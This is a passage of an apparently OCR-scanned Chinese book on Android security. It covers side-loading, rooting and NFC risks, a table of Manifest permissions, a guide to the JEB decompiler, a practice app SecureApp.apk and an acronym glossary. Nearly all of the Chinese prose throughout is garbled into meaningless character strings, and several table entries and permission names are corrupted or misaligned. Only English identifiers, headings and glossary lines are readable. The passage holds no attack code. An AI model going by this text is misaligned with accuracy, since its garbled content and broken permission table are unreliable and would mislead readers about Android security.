Ak, REEEH Side-loading® R FE R R, MURBINZE kAR HEE
FIN; R FF R ZIREIR &, Android A MEAANSEZ IR EERMHIFM T .

10.3 REBIHEEFBRBHMERES

By, AECENA T AP ZAABTR, ARTES KR BB H I 1
Wi o ASTHE EEITISEAR AR KR Android #5845 b 7T BB i B 2 FhHT B 2ok 2
Ho Ak, WEEBNE, NTXUEHFHIEER, FELLARETELE, RA
AHLMRER . BEERMFRIDE L EF TR TREOPAT, LR
RECEMS, A RBSCix sy B RASTY B it i s B i Bt 2 SR U RT R

© iR T4 (Drive-by Downloads) , BJIS F 4 BRI s1epR , P #E 30 Y0 0 00 ih 25 78 RS B9 15
BT, s PR RS EERE, — R

© Side-loading, F57E Android &% b E#E(HH APK MUY R; AR P SO N IR R, X4 APK %%
PO IR PR e S 1A B LAt S 5 =3R48, MM Google Play fjE F#k. — & H
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HETEEEARER, (HEMASMIEARGT, ENREATRREAERN, EERAU
5, XEBUGHER KA M ATREMES TR, ST, FEI2E T FRJLFAEIME 8
LRNBGERA: B FVURERR/ R R & . W sl SR ol W 4 Fn i
W%, UULFHAZhZ&IEEE{E (Near Field Communication, NFC) HJIHEE,

10.3.1 FHTHER/IREERKE

WAL—F, FIH Android 4 80 AR LRI, SEILXEE 3) B 7 B 58 & 3
. root bS5 ) Android # 8l LI e A8 5 52 BIX K I, W4 H8 3l FL A 28 R R A
B E . EEE—T, Bahid bl e #E A DhEER . AR A
GPS 445, MEEE . BFIEH. MRFEE. X HEGEE (BEME. ZHH
) IEITEE (B, FEMERSI2HT, BREESHES), DIEES RS
IR E.

B REFHLAT LAV R () BRI/ (156 4%, A E AT AR LA P A B i AT H
ARSI E—ENE B, IS B R B A, A BRI fEE
BIFHP, SRR —FER B SR MbBE S50 A 1A REF L. RRE, KFHLR/ERER/
()5 B A P R, DA R 2051 B B BAREI(E B . XA AARIEE.
AL, i F, UABIENIMRGEL, BREFVEIERESRE/ RS, £F
MR e R SE A AR 45, BT LA e i 45 R RE sl T B Z AR
ST E (N, i A A e i S R AL SRR ) o A G 3 — PO 2
Sl R P R, AR T X BB HLAY AN B AL R R A AR

10.3.2 BEBH;ZTFRILCUNESIZE

R S IR 5 Android F 237 BHOIRIR, 364 55— 3t B4 L0 i
B BT AR AR Al 0 (a1 35 T B4, sl 8 AT DA (o 4 R AR 45 AR A A X 4
W wriEm T, ThEEGSEB RS

g 9 FEABRIELL, FbR b Al IS Xl W 3K B R P B ) Android
AT . K BN ) A A 13K 46 15 A4 i o Y R A 7 4 A 1 PR X
JFH, HHri%4 (Bring Your Own Device, BYOD) R AR F R RST & B
16 A S S il 2 45 N B B SR 48 £ TS, A X — U1 Bk
HH P IS B e B LR, B, XgERE T - RILEE
Poflit (B0, AR, WREH . RammC) Mg, Efgn T LZe

P

O AR (Incident Response, TR), tLRRUFFWIRE, 4l (3 B AL SEFE WA &, BN RHE L 22
B I e 5 TR R AT B AT, R AR — D RYEIE R TAF
BOMIIE . 00 0 7 G G4 S LA A, A A P G B, R L DAL A9
MENGE . GRS, daF g% B FA IR 55 o EHIE
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UK . root 4EFRJE B & AN H A A AT REEZ B L 2Ud, E2K P T §9EF
BRBESMEZLUEZ T, Bi#%E Andoid 24 E&F N HEFH S (Fan,
Wireshark 814 ) , 45 RFE R IR P B 2 2T, IS RIRA L
. ATRMESR, 24 A GIEE P kb BR35 v b 255k 635 25 0 ()RR AT . T8 I A 25 Fb
RFRTE . B—FigaoRul, HOREZE A58 M & MR G LS R 3h 5 & ok 4=
il Bk, & RA S X LA e i 2 5 92 9 Android S8 XX 465
7= i AR A AR AR

10.3.3 #@zhkE5 NFC

APEE T ECLEEEMNA T NFC HA, FHFHITIET Google L ( Google
Wallet) FAERIURIE . B, HOREZHZFERmARTIFEERTH NFC AR H
FHA LS. BARXFMERE L TFRESNE, EANXE NFC HFEIIE&E
TIRER] AR ER R A A Z 2 R R R Bz B, BR T Xt EE 48 NFC L 8 7 %
2HEREPLSN, NFC HiAREFE—LHMK Z 2R, Flangr, E8mmEks
file MASER B3R, NFC 2—FELBEFERAR. Fit, 7 NFCFESEREENS
rEfE AR A T RE, RIEHIRS] (Radio- Frequency Identification, RFID) A& #f
b, NFC HARX I8 {508 s BT TR, A7 LUE A RE X E S#HTEOR,
FEMHGAFEE . BREGEEZ BRI (A0XHEE SR CEme) , EddE )
SR A AR S B L 0t T B, XF NFC @ {5 P& IR 70 . B—4 )
i, MRFIERNGEE, ARRRTEEAGHRGEE (REFAFMAS
F(EE) RETEESHE I XS, 2R - ] REAR AR {5 Fl X L B F NFC £ R B DI RE,
{ELE # P AT REHA T B T BN A & I REFFAE KBS, T LA P th R B
BEMNRENZEERETE, NTARINREEELLE TRA,

NFC $ARARALAT A FHZER sh 32 At b, B n] A Tl E B sEfetm. i
=B ARIKRA T —3X Galaxy STIE REFHL, fE/H NFC fER{E BfefmtiAR, LHig&
{5 B NA R TSR, P RIS o, EIW SEENR & E (S AN
AT . BRZIEERHAM ST O &S, BHNFE—ENELR
B filhn, BiEELSnE, AT, FHX—Zh68, BiEE e ST
TR ERZINRE E, &REE MR,

10.4 /&
A BN T HE) HIML (92 20 BA1 WAP (922 A5, /48 T 831/

ERTRE R A i) — L MR ) L T o AT E AT T 40 A AR R sR 8 3R
MR, /5, M T ILRE TR & R % L id .
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Mis% A Manifest #Z[R

1% 4 %, RATE LIS T Manifest £UFR . B FHR il Kk LA R F T AT 1
B ERMIR] . Kk SMS {5 B SFAFE B R IE. FROTARIE %2 4 KUK i 782 B X ik £E 4%
PRI TIPS, KX SMS fE{5 B SRR EMR, EZENKEHEE (FE
t) ER T UM E S EIRRAUR . FRBER T XA R E X K 5E

G WS
4 A Tl KU
- 7= 8RB 5 %
3 ol IR S5 2%
2 o 25 SR B S5 %
1 {5 BB SR

% A. 1 31 T FrA 9 Manifest £ZBR, XFRZEUEBH, LR AR R B9 XS 4%
# A.1 Manifest R

R 2 R

L I

WK 4 &

ACCESS_CHECKIN_PROPERTIES

RVFES 37 [ checkin ( B id) %R E M
“properties (JAPE)" F*, EHIRMIEE

ACCESS_COARSE_LOCATION

SOVFRL R Pl Bk vl . Wi- Fi 46 R 484 B 7
IREUHL I 907 B 5 8

ACCESS_FINE_LOCATION

FEVFRL R Rl GPS, BN Wi-Fi 47 &
R ARIBORS o B 137 B A B

ACCESS_LOCATION_EXTRA_COMMANDS

FOVE R AR U RS B AR HEE  (Location
Provider) f§4>

ACCESS_MOCK_LOCATION

FEVF L R G B AR B HR (I 3E ( Location
Provider) #4713

ACCESS_NETWORK_STATE

FOVF R AR PP v 1) ) R A1 R

ACCESS_SURFACE_FLINGER

FeF R FH B i ] SurfaceFlinger© i Ji 2 45 1
kg

©  SurfaceFlinger, Android -£5 b JfE /2 M R 30 FE, — R T e ol AR L 9050 S5 o g 2 AR 1

FREBE, —FHE
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Android 2% %45 4%

(%£)

R &

B A4

KB %5 %

ACCESS_WIFI_STATE

FVFRL Vil Wi- Fi MEERERFE

ACCOUNT_MANAGER

Se VI AR R A R K P 5 {3 B AIERS ( Account
Authenticator© )

ADD_VOICEMAIL

FEVRRL IR T [ AR G HR 7 A A BRI

AUTHENTICATE_ACCOUNTS

FVFRN R AR K P 5 RAESR T RE, #EAT
ﬂKF“%E

BATTERY_STATS

SVFR R R i BATHER

BIND_ACCESSIBILITY_SERVICE

ZALPR B PR AccessibilityService IR % HiF, LIH
REHERZGEA RS ZHE

BIND_APPWIDGET

F N F & FF appWidget IR % ( Service)
HB— 1~ i FH 72 5 BB 05 17 (1] appWidget (/)M 4)
RIS

BIND_DEVICE_ADMIN

ZANPR H PR 1% & B B 51 Receiver 13K, LATH R
RERGARREHZH

BIND_INPUT_METHOD

HPR InputMethodService IR &15:3K, LITRAR R A
FHEABEFEEHE

BIND_REMOTEVIEWS

HIR RemoteViewsService iR 551K, LUTR{RERE
R AR 9

BIND_TEXT_SERVICE

H PR TextService R 551 :K

BIND_VPN_SERVICE

HPR VpnService iR 572K, LABR{R RA REA
REMR E 485

BIND_WALLPAPER

H PR WallpaperService it 453K, LIk HA &R
Gi A fER E455E

BLUETOOTH

SRV I P PP R C 0 78 AR BN 8 2 i &

BLUETOOTH_ADMIN

FOVFRRFF REAT A BUR B9 B 2T A 9 5 Z o xt

BRICK

HTF iR RE (ERRER!)

BROADCAST_PACKAGE_REMOVED

FUVERE R T HE AR 0 2 k00 3R a0 3 (38

( Notification)

BROADCAST_SMS

FEVERE T REWCE SMS 415 B A3 (48 A

BROADCAST_STICKY

FOVER R 165 Intent 463 B9 B ( Sticky

Intent)

© AccountAuthenticator, WK/ SO EHERS, T IREUK P IRIER S, £EHh Cmail KPFR, RERS
Rt BRA RV BAR . — & E
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(%)
R 4 #r U B A B A

BHOADCASE I A FRFRL R YR WAP PUSH iR 45 (35 4 3
1

- SRR R F Seid R G R U A P k5 S

CALL_PHONE 4

TSN, 7P S#A

EAiE. e FEVFN AR T S6ad R e R L9 P 1 5 5 T I°F 4
WEE R TESS, AfFESRiE, TR HEPIA

CAMERA iR AL & 4

CHANGE _ COMPONENT _ ENABLED | AiFMHEFESHMNABRFAGNEH i

_STATE RE

CHANGE_CONFIGURATION PR R ECS R R, I XA E 1

CHANGE_NETWORK_STATE FOVF I FH AR e 028 ) 45 0 BRIk A 1

CHANGE_WIFI_MULTICAST_STATE ! ﬁﬁjmﬁﬁ%% Wi-br SR Mtet 1

CHANGE_WIFI_STATE FUVFR R B Wi-Fi B8RS 1

CLPAR N Cata FOVF I PR 5 R iR 45 b A 42 5 4 157 P AR P .
B ZAF

CLEAR_APP_USER_DATA FUV I 1 B o P A 44 4 R P i 2

CONTROL_LOCATION_UPDATES SUVEIE /SRR B TC B 60 i B8 S8 5 2
( Notification)

DELETE_CACHE_FILES SR L AR e I B B A S 2

DELETE_PACKAGES SOV R SR A 1 3

DEVICE_POWER SV (6] e J2 B, 54 7 2

DIAGNOSTIC SRV PR RS 1 T 7T R 1

DISABLE_KEYGUARD FOVFR R R A FH A 8 (keyguard) 2

B RN HREF N RS RS (Service) VIR 5
efit (dump) 58

EXPAND_STATUS_BAR AR IR B T s AR R A R 1

. . D

FACTORY_TEST W& &‘Eﬁﬁ*ﬁﬂﬁ&%iﬂuﬁiﬂﬁﬁ. HABYHP .
(root) A REZEFT

FLASHLIGHT SEVFE R YEAT L

FORCE BACK Fo N PP 9 o & 454047 BACK #:4E, Tig :

- H: Activity 2 BETZ
S —- ST FHARFF K HRI F2 B % ( Accounts Service) 3
. At (K P 1 2%




160 Android 2 4. %42 54 %
(%2)
PR & R B A B R % %
N s RGN HARFFERES P EERF S HOEE i
Z3 [E] K70
GET_TASKS VR AR KBS A s E TSR R 2
T T RFLFEIBEF S 15[ Content Provider $2{iEfY 7
HiE
HARDWARE_TEST SR S EREF &, BISME 2
RFNHABRFHHEP S (RR, M, B
INJECT_EVENTS ) FARESN, ARHXEAFEHEAS 3
EEMEO
INSTALL_LOCATION_PROVIDER TRUEE TR R (Laotion Mimge 2
HE [ LA BAREE  (Location Provider)
INSTALL_PACKAGES SN TR e 3 Lt i R AR 3
INTERNAL_SYSTEM_WINDOW ﬁ;ﬁﬁ U AR F AT 5 R RS R R 3
INTERNET FEVFRL RIS M4 EH#F (Socket) 3
KILL_BACKGROUND_PROCESSES ALV W I killBackgroundFrocesses (), 2
ﬁ%ﬁﬁmﬁﬁ
FRVER FHFR B BRI P FERR  (AccountManager)
MANAGE_ACCOUNTS 3
3 HEP N P2
RN HBEFEE (f2, 8%, ZF) B
MANAGE_APP_TOKENS HHAF (Window Manager) A &9 K F 7 5 #5 5 3
( Token)
MASTER_CLEAR 3
MODIFY_AUDIO_SETTINGS RFNHARFEN RS R EREE 1
MODIFY_PHONE_STATE FOFE MR, WIFHL, mmi % 2
MOUNT_FORMAT_FILESYSTEMS SRR AL AT B PR ARG AR 1Y SO R 4 2
MOUNT_UNMOUNT_FILESYSTEMS FFHR/ R B RTEERS N U R S 2
NFC FVFR AR R NFC #47 /0 $#84E 3

PERSISTENT_ACTIVITY

ZAURLEL 5 9 Y Android API FR{E (i F, 3F

X— DN BEHTE LS B9 Android API iR, &Y
FPAREMH. RN ARRERFHE Activity A
TETE

PROCESS_OUTGOING_CALLS

PINEEIR EEs R S Y N

READ_CALENDAR

SOV AL AR P BERUR P H AR S
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(28)
R & K B A A O
READ_CALL_LOG SOV LR P BE U PR e 3
READ_CONTACTS FOVERL FAFR PP EE R P RO 3
READ_EXTERNAL_STORAGE FOVF LR S A7 it 1 4 ob B BRI 3
READ_FRAME_BUFFER SVFR TR, EE T U0 W AR 3
READ RIETOR BT SVFRL R PR (EAREMR) PN RE0H "
PidRMHLE
READ_INPUT_STATE RS YA SETR TE 3
i F X —FUBR A APT 2 Bl B

READ_LOGS FEVFIRL R PP BUR /2 R 48 H &30 3
READ_PHONE_STATE Feif R a) B AR ZS 3
READ_PROFILE Fe iR R P B U AN NGRS 3
READ_SMS SV AL R FF B SMS 15 B 3
READ_SOCIAL_STREAM e R FF M P43 & B B BOEE 3
READ_SYNC_SETTINGS FUVF L F R P B LR 5 5 2
READ_SYNC_STATS FeVF L R R R AR 7 2
READ_USER_DICTIONARY SRV R R A ] 2
REBOOT FF itk B4 e 2
RECEIVE_BOOT_COMPLETED AC?I?NLEBOOT_CO%KE%”;‘I?) $z};; ;f LD 2
—— ﬁﬁzg FARRFF HEWT MMS {5 B3k, 2RI 3
i abieor ﬁzg&t};ﬁf?mﬁ SMS 45 i1 BBk, i ®ExT .
RECEIVE_WAP_PUSH FVFR FFRE ST WAP #E3% (push) {58 3
RECORD_AUDIO VR PR 3
REORDER_TASKS %’:‘g (Tﬁiaf@&% WaRRT . S 2

ZAUBAER S 8 19 Android APT Ff& LffiFH, & 5

RESTART_PACKAGES

Y5 AP 37 £ restartPackage () PRETIAE

SEND_SMS

SET_ACTIVITY_WATCHER

FEVFRLFRRSF & % SMS 41H B

SRV FH A A 5 Activity 7E R 46 1) 1247
RZ

SET_ALARM

SV RS #— 1 Intent, B/ B
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(%)
PR & R i B A B KB % %
SET_ALWAYS_FINISH RFNHABRF#EAREETH, BEZIL :
(Finish) 4F Activity
SET_ANIMATION_SCALE &2 R 3him 4 il R 5L 1
SET_DEBUG_APP 0L FH R PR B A AR S 1
N AENHABEFRAARZEREEERE A (L :
Fret RIEF )

SET_POINTER_SPEED

FVF LR P R FL TR 2 R B0 B bR B

SET_PREFERRED_APPLICATIONS

ZAURTER ] 7 & Android API {2 F{ER, ¥
Il addPackageToPreferred( ) &% 15%AH

SET_PROCESS_LIMIT

FUVFRL IR iR B AR L RE A2 AT B9 N AR PPt
BYER AR KE

SET_TIME FeVF R R B R SR [A] 1
SET_TIME_ZONE AN AHBRFRERENKX 1
SET_WALLPAPER FEVERL R iR B BEAR 1
SET_WALLPAPER_HINTS F N R PR B B AR R 1

SIGNAL_PERSISTENT_PROCESSES

FSUVFRL R P45 BT A R e HE R R R S B0 oR

STATUS_BAR

RFMHEFITF, XAREHREERR
EtR

SUBSCRIBED_FEEDS_READ

e N R U A E ST R A A R A%
( Content Provider)

SUBSCRIBED_FEEDS_WRITE

SYSTEM_ALERT_WINDOW

SRR FFRF(# B TYPE_SYSTEM_ALERT 26 %!
ZHETHE D, HEE O D R7EFRA =K HE
BT Ay i

UPDATE_DEVICE_STATS

FeiE AL A E R PERHE B

USE_CREDENTIALS

FOVFI FFR [ K RS (Account Manager)
HREAURIC

USE_SIP FUVERE TR (#H SIP iR %5 1
VIBRATE TRl R Eh A% 1
AR Fo i B R Y B 8% ( PowerManager ) ) :

WakeLocks, B - 2 PR B 5 78 A 5

WRITE_APN_SETTINGS

FEVFRE R F B APN iR

WRITE_CALENDAR

AVFN AR SR (EABER) HPEREE
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(%8)

R &

Ut It 4

KB % %

WRITE_CALL_LOG

RV B P 6E T FIL LR R GRS

HiE

WRITE_CONTACTS

RN ABRFBHR (ERER) APEKEA
wERE

WRITE_EXTERNAL_STORAGE

SOV L IR P H U 5 A B SNl A

WRITE_GSERVICES

FVFRE IR FF B 24 Google it 55 Hb Pl

WRITE_HISTORY_BOOKMARKS

FeVFR RS (HARTER) FIP Y48 5
FiCRMBE

WRITE_PROFILE

fvF AR B (ERER) AP ARR
€10

WRITE_SECURE_SETTINGS RPN HRF /SRR XLEE 2
WRITE_SETTINGS VFN FHRFIE/ B RSN E 2
WRITE_SMS FRVER FHAR 4 i SMS 15 B 2

WRITE_SOCIAL_STREAM

FVFRRIFEA P 4128 F & 49 (AR
) A iR

WRITE_SYNC_SETTINGS

FEVFI R P BB R 5 5 B

WRITE_USER_DICTIONARY SRR A AT A 1

fisk B JEB RiLC4%mesfl R 4miFsg @I

ABIEE 6 EHE T ECENAT, [FHKFIFE T EXT Android i FH# F
TR 4w ) TR T, Hik, AW EEN4 JEB ot TEMEERTE.
JEB £ Android i FIFR (Y B I 4 2% AR 4 % 2%, 3 Aol Ab 38 APK ¢ DEX 3C
f, Fe¥ab 3R 0 A4 ROAE S JDB i,

aniE B. 1 ffizs, JEB B9 T VEX 5 322 By PUAS DX s fa B«

1) TR T H 5%,

2) JRHEES G 0 RRE R

3) KBREHWEE D,

4) ALUAEZIEEFRENFREAE D,

B.1 #iH

1E JEB M TAER h, T35 M SCUF BB A O B e S e AR A T 1 (B
BB 1 RSN 4 WKL) P, %P T LA AL Window” ST
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3 8- -\men\nl\p'o;edi\urr ples\Razsts RELEASE\Raastz 2pk =
Fie Edt Took Wndow Help
J" @wdabxnc 1
.cou.pnzn frware.zafMenfet  [Resources  |Cetficates  |Assemiby % \Decompried Java [ nngy | Comstants Netes |
AppHelp Lc.lu pnb Teptely T :
lvil‘{

|
«
| 0 | File offset - | Leom/pnisoftware/rsastu/Apohielp: I

FEB.1 JEB ¥HHOFRMH

Ja Kk, T E T LR E WA PLE .

® L 4itRE (AssemblyView), Z#AE & DEX {4 i A KM ROICH AT,
AP XM E AN HE TSR ERE (NERE) . A TR L HIE R EIH
%, ETHFREEENEEENEAZ, %0 ERER A LUUER smali RS EK & LAY
Dalvik L 4R A%,

o & 4iiE A (DecompiledView) . % Bl & HAHF LR HiFAE R
Java JEACHS . fEFH “Tab” AT LAFEIC 4a 0 B A drid A B 22 [l V04, FRAR ot
RLFBEER—1E L,

o FRFEME (StringsView) , ZIE M S H BTE DEX XHF A FHRE
JlF, WHFHAEE—NFRE, TUEERICHAE, FH8tre L EL S
R A R R A LB

o WA (ConstantsView), %A E HIAE DEX XA FHFEN
FFE, WEHPEE—HE, TUEEVHRIICHRRE, HttrEfELHm0
P i B KRR BRI

® Manifest #1[&] ( Manifest View) . %% & & 7~ N 72 7 % & 45 7= 4= B9 Manifest
XHHNE

o PEIRALE (ResourcesView) . AL IE i FH P BB 3 Y2 57 FH 72 5 it T 48 7
A B A FR BT IR SO

® Assets YL (AssetsView) . ZALE S5 FIERMEIFRERAEML, R FHHE PN
Y4 Android i FHFRF H assets U432 A Y 98 TR S

o JEFHE (CertificatesView) o A& LA AT 52 1 X & 7R F T APK 2235 40 4%
AR FUES .
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o SRS/ R B/ FEE LBl ( External Classes/Methods/Fields View) , X JLFh#1
B H T4 DEX b5 HFfE A & Fh AR 2L . REMFE R U RN R B8
ok .

o FRAME (Notes View) . ZALE T T ET P AR EREBRNE

KEREHPE (class hierarchy view, BI[E B.1 45543 X)), & T
HI7E DEX LA 2E51R . X2k 2L MIE#ITHR BRny .

AEEONERPEE 1K, BT HCRAE, I B sitiniEEER P
JoXs i : DB S

IR EFNER I T AR B ERBRREWAEFENLNEER, AP
PATE 12 U B TR R AR T AR L Y 52 B A, DT X PR 28 EA T80 B bR v o

B.2 RiBHAHE

e AR A, ICgR AR dmid AR E R AR EEMUE . XHAR
WBREEA REFMAFZZEYE, SR HECE P X N AR #1724

XA E AR T EER R R BRI, Y. 2. FB. R YA
(opcode) | 854, LAKFERBFAID N A3 HIEDL,

YR P E S EEXPIFLE LA, R P A T A AR BRI T .

® Rename items (E AL, REER: N). AFEGEE, FEMBEHHN
ZF, BB SRR At R B A LB . SR PR R AR A S
AU EM S . Ak, X FALEA 7E DEX X4 g XA SRR MBI A B E
o

® Insert comments (AR, REEE: C). ATLIXHEEMZE, FEMREIRC
ERNE, UBPRERSE R RE, X B E ] LU SCA, tn] DR E AR, 2
WIEFH . EMEREINC R 7, R RS REE AR

® Examine cross references (#F&3C X 5|/, Hebigh. X). KREEAI3LEIN,
AT U X5 | FRE R EAIR M AR, XA 5| Fm4 LA E AR B
R TR B . AP AT AR B — AN B R, b B3 U5 | T E Y
A=

® Navigate (i, PRHEGE: Enter). FIPTTLL “iBEF" fEEARIBT, Wit
FUt, FP AT DA S e Bk 4 i NS S/ A B AL B, Filan, “GBERT —
YR R BREL foo () MIESE, BUREBKFEZE foo() BREUE L/ F RN E .

fE Assembly YLE H , F P RERSIE T4k “Tab” 4, Xf—ARKHITRGIF. FE
J&, MET B IR B AR R R, I B Ot E AL S IR T RS R 2
BUCH (R S Java B4 b, AR, 4EHRALT RE 4k Java 15 A ET, KA ) 4 (R
Assembly F /&, JEB 212 B 30 Y6 A7 & SL7E [ i Java 35 /0] B UG Fig #9640 715 15 48

24,
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B.3 [REER

% B. 1 PrnnytRbEse, EEMECBUEN. AT RE TEME, AHiRil
A7 Fl P B RSk PR LEPRFERE . 200 =5 & A9308 [m) TR Al RE & H AL R X 4
REERE, IR FARMER RIC A TERUL, BN AT R B,

= B.1 RBUENTLLERNRER

T A
Tab X E I HEAT R AIFE (EILHIUES) VR ENCRRE (ZERFIFRES)
N XEERE MR T EAS (2, FB. mEFAER)
C (=K Slash) HAER
- BE KA EIEAMN ARG HE (P AN S X 3z 5| 5, M
“BE" BAERBSTI XAV EEANGE)
Enter B R — 4] 3E IR I
Escape iR [8] F] follow- history Hig 5% i _E — 1~ GAR{E &
Ctrl- Enter HI#EZ) follow- history H1ig 5% i F — AR E
F5 Fill 7/ [R5 A RAS AR 4 2

B.4 SHIGEIRIN

i (Edit) /350 (Options) Sef8, HTFHLA P gl JEB T E A &0 AT XA
LSRR BRI A 2K (I 4P 1R &
ASEE BRI CARME L ASKRE gy, | [
RERELASHREET, $%), Hhk | ¥chekioripdtcon daiu

(V! Compress database items (slower load)
RSB B AR LR A A%, WE B2 ¢

Style
FI7R o T [Codefont.|[style manager...
“show debug directives/line numbers ( fE7R .o | Assemblyoutput
Py : § L35 5 \ [7] Show bytecode
FIRiES/475) " &I, AT RRICHNET 7 Show addresses
[#] Show annotations

B TR, AP EEE SR, RAMTH oo gt
ERAS W, FEAEMERETHIE. Y e e

“keep smali compatibility” 35, FTFAEM ~ I Keep Smali compatibitty A
BEOE “HA smali WICHMRT. HE" X 0| Sremeniomoniom |
RORER, WIERAHEHSEIOEL, B 5| oo |
ERETBNERS . X4, UEAKNAE | (50 fom =
iBA] (switch) 595, Z5H{i%Z “smali compati-
bility” BEI, FHAMERICHRBNTES .  mpo 58 TASNHEELT
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“Style (KUF%)" I, W& LA R P EENTFE REREERTA M
ErhEA ) MEERER,

HHE ﬁ%%%%ﬁﬁﬁﬁ@ﬁ%ﬁ@%w — M RRE, NEARERGEAGE
AT FH A B AR T A & K& 1) Unicode S24F, T A9 FH 1 #Y R 5 E
HATREEA CIKC (R HEE) F0F, XFh e A IE 5 55T 0 0 AR R R
RUARA A, R B AL, AT A AR FR, Fi0 Windows R4t |
FIPF R, LUK Ubuntu ZR4E 19 Sans F . X 265k AT LIAR 47 3t 3 BMPC
( Basic Multilingual Plane, AL XFFiH), f1E CIK, #i& . FEMMAHAIE,

“Style manager (XUMSHETRES) " Hefl, TTLAMGEF M B & &R A2 B30 H51 f Fl
SRR, %I BB R XML A E AR, A FiE 4 Manifest FIE Al XML %% J5 i
BoEifh, 3B I Foreground colors ( i f%) Fl background colors (R f) %
B, LIX font attributes (FREME) &HEH, #TEXKMEEHESNHHEPER,

IZ‘E] B. 3 };JI 7N o
ja -‘vJ A — j@
F% - : " e e L e T

Items
Type: | IEREE .

Normal
Foreground: - Background: [ Bold [ Rtalic

< o 0D

Active
Foreground: [l Background: [TBold [ Ralic

Current line
Background:

ok |[ cancel || Resettodefauts |
7 _

ighl6 ] /| Keep the "this” keyword [safer) ‘

W S et 0 O

S

[ B.3 JEB T EACHS XS 2 FL A

Mis C #EfRLA FHF2F SecureApp. apk

A Pt ST VAR A 43 T P S 3 1) T RGBSR s L AR P OAT A o %E%

O CIK, HH#%—FEXF (CIK Unified Ideographs) , H ARSI EH3C, B, #3C. #3
g, AR, EXHE, R -BFEMRMEELTE (EERNFE, ARAHNTE, WEAEFE. #H
EMAN T, BENWET) T IS0 10646 K Unicode #7#E PN B F4H [ 4% . CIK £ 3 ( Chinese) .
H3C (Japanese) ., #3C (Korean) =[EXFMAEE ., W48 X, EHEW LFRFX =/CF, 153
#iE

© BMP (Basic Multilingual Plane, 374 % CFFii), slFR4E%EFH (Plane0), J& Unicode o f)— 14
BEB, 465M U+0000 Z U+ FFFF, — %4 iE
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7 &, BEMEBN T SecureApp. apk, JE7N TR M P HW E TREB S
HRFITAN—FTR. Fit, A8@EEER - L HMmM X, EEAPREMER
X S AG N AR T AT R, LARENES n sk Bk oz A AR R T RE A0 H A9 .

T4 8 FahF LB EIE. Hitk, EEUEABMEE (www. androi-
dinsecury. com) WJAHN EE T HIRBIZN RN E. Hef, EEISBPHBINAA
X4, #EILATEZM SR EIER %R E ZEREFEH T ARAKSHEG, PRk
BUZ M i IR AR A dR R B 30

F 4% . android

Bh. 1439896461

Bt D HEXLERGIE

ACL Access Control Lists S BT RS
ADAAPI Android Device Administration API Android i & &8 API
ADB Android Debug Bridge Android BT 1:88
ADT Android Development Tools Android F & TR
AOSP Android Open Source Project Android FFiE5 H
API Application Programming Interface R REED
APP Application ;R

APK Android Package Android 30
ATRG Advanced Threat Research Group BB R I aT /vl
AUP Acceptable Use Policy AR (i FH e
AVD Android Virtual Device Android ££40138

AWT Abstract Window Toolkit WRECOTES
BMP Basic Multilingual Plane HAZ CFEH
BSD Berkeley Software Distribution A FEF R
BYOD Bring Your Own Device HRE

C/S Client/Server =P/ IR 5545

C&C Command and Control rd 5

CBSE Critical Business Security External team BRI ST W
CCHS Cisco' s Cloud Hosted Services B =EERS
CDMA Code Division Multiple Access 45> ZhEHEEA

cIo Chief Information Officer HREEE

CIK CJK Unified Ideographs o H % — R LF
CnC Command and Control Center A d O
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(%)
CSRF Cross Site Request Forgery Pk S thiE iR
CVE Common Vulnerabilities and Exposures HILIRIR AR R
DB Database HoE
DDMS Dalvik Debug Monitoring Service Dalvik HE$BUHL It W d5 R %5
DEX Dalvik Executable Format Dalvik AT HUf7H#4 K
DoD Department of Defense of the United States 2 [ [ &R
EAS Exchange ActiveSync R L
ext2 Second extended file system BV EXHRS
ext3 Third extended file system B R RS
extd Fourth extended file system BEURY R R S
GID Group ID B4 ID
GPL General Public License i A VP ATIE
GPS Global Positioning System EERENLR G
GSM Global System for Mobile communication B EGE RS
HDMI High Definition Multimedia Interface G Vi BT 2 A
HTML Hypertext Markup Language B ARCE S
HTTP Hyper text Transport Protocol B SCAAE R L
HTTPS Hypertext Transfer Protocol over Secure Socket Layer | i FRLEREFEEZ AR XAE KM
HSTS Http Strict Transport Security 98 1l T A A R AR
IDE Integrated Development Environment SR KA
IEC International Electrotechnical Commission EPr T&E R4
IMEI International Mobile Equipment Identity [ Prs shis £ UL 51
IMSI International Mobile Subscriber Identity = PR #% 3l P iR
InfoSec Information Security Team HEME B 24U
INI Information Networking Institute 1% B 48 55 it
IPC Internet Process Connection PR EEE
IR Incident Response O 2 0
IRC Internet Relay Chat LR R LR IR
150 International Organization for Standards ] i A 2 41
T Information Technology 5 BHA
Jar Java Archive Java 2844
NI Java Native Interface Java 74 11
JVM Java Virtual Machine Java HEAUIHL
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(%)

MAC Mandatory Access Control 558 1l 7 (1) 42 i
MDM Mobile Device Management Bk g EH
MITM Man In The Middle FrElA
MMS Multimedia Messaging Service ZEE RS
NFC Near Field Communication iR
NIST National Institute of Standards and Technology EEEFIRESEATREPE
NSA National Security Agency XEEFXEZ2RE
NSF National Science Foundation EFHFEES
NVD National Vulnerability Database B K I R B
OHA Open Handset Alliance FF i TFHLEK 2
0S Operating System BERS
0SSTMM Open Source Security Testing Methodology Manual | FFil§ 22413 77 2 =4t
OWASP Open Web Application Security Project FFi Web N B FF &£ H
PCI DSS Payment Card Industry Data Security Standard TR SRR SR
PDA Portable Digital Assistant MW & E
Pen Testing Penetration Testing BER
PIN Personal Identification Number A MRS %L
POC Proof of Concept S IRAE
QR Quick Response ek = L
RAM Random Access Memory FfHLAF RS
RFID Radio Frequency Identification SHTHR 21
ROM Read-Only Memory HiEfFitas
RPC Remote Procedure Calls R AR
SD Secure Digital Memory Card TLEPFICILF
SDLC Software Development Life Cycle BRI K 4
SDK Software Development Kit B4 FETAE
SE Secure Element TR
SHA Secure Hash Algorithm e eI RS
SIM Subscriber Identity Module R FiR AR
SMS Short Messaging Service i IR %5
SQLi SQL Inject SQL A
SSCO Security Services and Cloud Operations team BRlELRFSmEga
SSL Secure Sockets Layer LREEFE
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(%E)
SSN Social Security Number MRS
SSP Server Side Processing IR 55 # Vi b 3
TAN Transaction Authentication Number 32 5 BEALIGUERY
TLS Transport Layer Security T EAGHZ PML
UDP User Datagram Protocol P BdEdR P
Ul User Interface PO AN ERER
UID User ID Fif 1D
URI Uniform Resource Identifier G — Y lEkRIA
URL Uniform Resource Locator Gt — IR E AT
VFS Virtual File System HEM SR G0
VM Virtual Machine FEAUAIL
VPN Virtual Private Network HE % FA R
WAE Wireless Application Environment To2k 17 P s
WAP Wireless Application Protocol o5 AN A7) 904
WDP Wireless Datagram Protocol TR BARAR L
Wi- Fi Wireless Fidelity T2k (5 B A
